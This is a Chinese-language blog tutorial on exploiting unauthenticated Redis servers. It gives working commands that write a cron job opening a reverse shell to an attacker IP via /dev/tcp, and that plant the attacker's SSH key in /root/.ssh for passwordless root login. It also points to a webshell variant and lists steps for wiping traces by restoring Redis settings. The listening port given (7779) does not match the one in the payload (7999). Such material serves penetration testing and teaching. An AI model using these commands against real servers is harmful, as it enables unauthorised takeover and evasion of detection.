Redis未授权漏洞利用

0x01 利用redis备份写定时任务反弹shell

原理:利用redis备份功能进行文件操作

开始前可以做个备份,实际攻击中最好先执行config get dir 记清楚原来备份路径,方便还原擦除痕迹
在这里插入图片描述
利用redis-cli -h 目标ip 连接redis服务器

执行以下命令:

set x "\n* * * * * bash -i >& /dev/tcp/192.168.199.187/7999 0>&1\n"     //设置变量x,引号里为变量内容,这也备份的时候可以把内容写入备份目录

config set dir /var/spool/cron/  //修改备份目录到定时任务目录

config set dbfilename root //修改备份文件名为自己喜欢的名字

save //保存设置

测试如下:
在这里插入图片描述
自己复现可以利用crontab -e查看定时任务是否成功写入
在这里插入图片描述
攻击机监听设置的定时任务指定反弹shell的端口 7779,一会儿攻击机就成功接收目标机反弹的shell
在这里插入图片描述

0x02利用备份写入webshell

原理步骤和上面差不多。前提是知道网站绝对路径,这种方法适用于服务器权限不够,但是redis对web有写入权限。

参考链接:https://www.leavesongs.com/PENETRATION/write-webshell-via-redis-server.html

0x03 利用备份上传公钥,实现服务器免密登录

ssh-keygen -t rsa 一路回车生成密钥
在这里插入图片描述
将目录下密钥保存为1.txt (可以自定义),执行

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt

在这里插入图片描述
将密钥设置为crack变量内容, 上传目标机
在这里插入图片描述
同样利用redis-cli -h 目标ip 连接目标redis服务器,修改备份路径和备份文件名。
修改备份文件路径为/root/.ssh(目标机密钥存放的路径,不同机器情况可能不一致)
在这里插入图片描述
修改备份文件名,保存退出。

在这里插入图片描述
尝试免密连接服务器,漏洞利用成功。
在这里插入图片描述

0x04清理痕迹,还原设置环境

del payload  //删除

config set dir /root   //修改路径为攻击前路径(不同环境路径可能不一样)

config set dbfilename dump.rdb //修改备份文件名为默认文件名

测试如下:
在这里插入图片描述

发布了44 篇原创文章 · 获赞 12 · 访问量 5549

猜你喜欢

转载自blog.csdn.net/qq_39326816/article/details/103036883